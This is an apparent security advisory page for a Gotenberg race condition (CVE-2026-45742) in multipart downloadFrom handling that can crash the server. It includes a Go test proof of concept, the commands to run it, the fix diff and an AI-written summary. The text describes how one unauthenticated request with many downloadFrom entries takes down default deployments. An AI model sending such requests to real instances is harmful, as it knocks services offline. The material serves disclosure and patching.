VYPR
High severity7.5GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Gotenberg has a Race Condition via Multipart `downloadFrom` Handling

CVE-2026-45742

Description

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc

package api

import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time"

"github.com/labstack/echo/v4"

"github.com/gotenberg/gotenberg/v8/pkg/gotenberg" )

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64

var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once

server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release

filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(attachment; filename="%s", filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close()

dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } }

payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) }

body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) }

req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType())

echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, }

ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel()

if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395

WARNING: DATA RACE .../pkg/modules/api/context.go:396

WARNING: DATA RACE .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Gotenberg v8.10.0–v8.32.x is vulnerable to remote denial of service via concurrent map writes in multipart downloadFrom handling.

Vulnerability

Gotenberg versions from v8.10.0 to v8.32.x (inclusive) contain a race condition in pkg/modules/api/context.go. When processing a multipart request with multiple downloadFrom entries, the newContext function spawns concurrent goroutines via errgroup.Go() that download files and write to shared maps (ctx.files, ctx.diskToOriginal, ctx.filesByField) without synchronization [1][2]. Go maps and slices are not safe for concurrent writes, so a crafted request can trigger a runtime panic with fatal error: concurrent map writes [1][2].

Exploitation

An unauthenticated remote attacker can send a single multipart HTTP request containing many downloadFrom entries to an exposed Gotenberg instance. The default configuration enables downloadFrom and disables authentication, making the attack trivial [1][2]. No special privileges or user interaction are required; the request is processed before any route handler runs [1].

Impact

Successful exploitation causes the Gotenberg process to terminate with a fatal error, resulting in a denial of service (DoS). The crash affects all pending and subsequent requests until the service is restarted [1][2]. There is no evidence of data corruption or code execution beyond the crash.

Mitigation

The issue is fixed in Gotenberg v8.33.0, released on 2026-05-29 [3]. The fix serializes result merging to prevent concurrent map writes [3]. Users should upgrade to v8.33.0 or later. If upgrading is not immediately possible, disabling the downloadFrom feature or enabling authentication may reduce exposure, but the safest mitigation is to apply the patch [1][2].

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Gotenberg/GotenbergGHSA2 versions
    >= 8.10.0, <= 8.32.0+ 1 more
    • (no CPE)range: >= 8.10.0, <= 8.32.0
    • (no CPE)range: >=8.10.0

Patches

1
6671b5e5d302

fix(api): serialize downloadFrom result merging to avoid concurrent map writes

https://github.com/gotenberg/gotenbergJulien NeuhartMay 12, 2026Fixed in 8.33.0via ghsa-release-walk
2 files changed · +102 7
  • pkg/modules/api/context.go+22 7 modified
    @@ -216,6 +216,15 @@ func newContext(echoCtx echo.Context, logger *slog.Logger, fs *gotenberg.FileSys
     			)
     		}
     
    +		// Each goroutine writes to its own results slot. The main
    +		// goroutine merges into ctx.files, ctx.diskToOriginal, and
    +		// ctx.filesByField after eg.Wait() to avoid concurrent map
    +		// writes.
    +		type downloadFromResult struct {
    +			filename, path, formField string
    +		}
    +		results := make([]downloadFromResult, len(dls))
    +
     		eg, _ := errgroup.WithContext(ctx)
     		for i, dl := range dls {
     			eg.Go(func() error {
    @@ -392,18 +401,16 @@ func newContext(echoCtx echo.Context, logger *slog.Logger, fs *gotenberg.FileSys
     				dlSpan.SetStatus(codes.Ok, "")
     				dlSpan.End()
     
    -				ctx.files[filename] = path
    -				ctx.diskToOriginal[path] = filename
    -
    -				// Route the downloaded file to the appropriate field bucket.
    +				var formField string
     				switch {
     				case dl.Field == "embedded" || dl.Embedded:
    -					ctx.filesByField[EmbedsFormField] = append(ctx.filesByField[EmbedsFormField], path)
    +					formField = EmbedsFormField
     				case dl.Field == "watermark":
    -					ctx.filesByField[WatermarkFormField] = append(ctx.filesByField[WatermarkFormField], path)
    +					formField = WatermarkFormField
     				case dl.Field == "stamp":
    -					ctx.filesByField[StampFormField] = append(ctx.filesByField[StampFormField], path)
    +					formField = StampFormField
     				}
    +				results[i] = downloadFromResult{filename: filename, path: path, formField: formField}
     
     				return nil
     			})
    @@ -413,6 +420,14 @@ func newContext(echoCtx echo.Context, logger *slog.Logger, fs *gotenberg.FileSys
     		if err != nil {
     			return ctx, cancel, err
     		}
    +
    +		for _, r := range results {
    +			ctx.files[r.filename] = r.path
    +			ctx.diskToOriginal[r.path] = r.filename
    +			if r.formField != "" {
    +				ctx.filesByField[r.formField] = append(ctx.filesByField[r.formField], r.path)
    +			}
    +		}
     	}
     
     	copyToDisk := func(fh *multipart.FileHeader) error {
    
  • pkg/modules/api/context_test.go+80 0 modified
    @@ -3,10 +3,13 @@ package api
     import (
     	"bytes"
     	"context"
    +	"encoding/json"
    +	"fmt"
     	"log/slog"
     	"mime/multipart"
     	"net/http"
     	"net/http/httptest"
    +	"sync"
     	"testing"
     	"time"
     
    @@ -70,6 +73,83 @@ func TestNewContext_Cancellation(t *testing.T) {
     	}
     }
     
    +// Concurrent downloadFrom entries must not race on the shared maps
    +// (ctx.files, ctx.diskToOriginal, ctx.filesByField). Run under -race
    +// to catch the data race; without -race a sufficient number of entries
    +// still surfaces "fatal error: concurrent map writes".
    +func TestNewContext_DownloadFromConcurrentMapWrites(t *testing.T) {
    +	const downloads = 64
    +
    +	var ready sync.WaitGroup
    +	ready.Add(downloads)
    +	release := make(chan struct{})
    +	var releaseOnce sync.Once
    +
    +	server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    +		ready.Done()
    +		go func() {
    +			ready.Wait()
    +			releaseOnce.Do(func() { close(release) })
    +		}()
    +		<-release
    +
    +		filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i"))
    +		w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
    +		_, _ = w.Write([]byte("downloaded"))
    +	}))
    +	defer server.Close()
    +
    +	dls := make([]downloadFrom, downloads)
    +	for i := range dls {
    +		dls[i] = downloadFrom{
    +			Url:   fmt.Sprintf("%s/file?i=%d", server.URL, i),
    +			Field: "embedded",
    +		}
    +	}
    +
    +	payload, err := json.Marshal(dls)
    +	if err != nil {
    +		t.Fatalf("marshal downloadFrom payload: %v", err)
    +	}
    +
    +	body := new(bytes.Buffer)
    +	writer := multipart.NewWriter(body)
    +	err = writer.WriteField("downloadFrom", string(payload))
    +	if err != nil {
    +		t.Fatalf("write downloadFrom field: %v", err)
    +	}
    +	err = writer.Close()
    +	if err != nil {
    +		t.Fatalf("close multipart writer: %v", err)
    +	}
    +
    +	req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body)
    +	req.Header.Set("Content-Type", writer.FormDataContentType())
    +
    +	echoCtx := echo.New().NewContext(req, httptest.NewRecorder())
    +	logger := slog.New(slog.DiscardHandler)
    +	fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
    +	downloadFromCfg := downloadFromConfig{
    +		maxRetry: 0,
    +	}
    +
    +	ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)
    +	if err != nil {
    +		t.Fatalf("newContext returned error: %v", err)
    +	}
    +	defer cancel()
    +
    +	if got := len(ctx.files); got != downloads {
    +		t.Fatalf("downloaded files = %d, want %d", got, downloads)
    +	}
    +	if got := len(ctx.diskToOriginal); got != downloads {
    +		t.Fatalf("diskToOriginal entries = %d, want %d", got, downloads)
    +	}
    +	if got := len(ctx.filesByField[EmbedsFormField]); got != downloads {
    +		t.Fatalf("filesByField[%q] entries = %d, want %d", EmbedsFormField, got, downloads)
    +	}
    +}
    +
     func TestSanitizeFilename(t *testing.T) {
     	for _, tc := range []struct {
     		scenario string
    

Vulnerability mechanics

Root cause

"Concurrent goroutines in `newContext` write to shared Go maps (`ctx.files`, `ctx.diskToOriginal`, `ctx.filesByField`) without synchronization, causing a runtime crash on concurrent map writes."

Attack vector

An attacker sends a multipart POST request to a conversion endpoint (e.g., `/forms/libreoffice/convert`) containing a `downloadFrom` form field with many entries. The `newContext` function spawns a goroutine for each entry, and all goroutines concurrently write to the same Go maps (`ctx.files`, `ctx.diskToOriginal`, `ctx.filesByField`) without synchronization [ref_id=1]. Go maps are not safe for concurrent writes, so this triggers a runtime crash (`fatal error: concurrent map writes`). In the default configuration, `downloadFrom` is enabled and authentication is disabled, so an unauthenticated remote attacker can crash an exposed instance [ref_id=1].

Affected code

The vulnerability is in `pkg/modules/api/context.go` within the `newContext` function. Each `downloadFrom` entry spawns a goroutine via `errgroup.Go()` that writes to shared maps (`ctx.files`, `ctx.diskToOriginal`, `ctx.filesByField`) at lines 395, 396, and 401 without synchronization [ref_id=1].

What the fix does

The patch [patch_id=3103348] introduces a `downloadFromResult` struct and an array of results, one per download entry. Each goroutine writes its result (filename, path, formField) into its own slot in the results array instead of directly writing to the shared maps. After `eg.Wait()` completes, the main goroutine iterates over the results array and performs all map writes serially, eliminating concurrent access to the shared maps [patch_id=3103348].

Preconditions

  • configdownloadFrom feature must be enabled (default: enabled)
  • authNo authentication required (default: disabled)
  • networkAttacker must be able to send HTTP requests to a multipart conversion endpoint
  • inputRequest must include a downloadFrom form field with multiple entries

Reproduction

From the repository root, run the self-contained PoC provided in the advisory [ref_id=1]:

``` cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc

package api

import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time"

"github.com/labstack/echo/v4"

"github.com/gotenberg/gotenberg/v8/pkg/gotenberg" )

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64

var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once

server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release

filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close()

dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } }

payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) }

body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) }

req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType())

echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, }

ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel()

if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go ```

Expected output shows `WARNING: DATA RACE` at lines 395, 396, and 401 of `context.go`. Without `-race`, running with `-count=20` produces `fatal error: concurrent map writes` [ref_id=1].

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.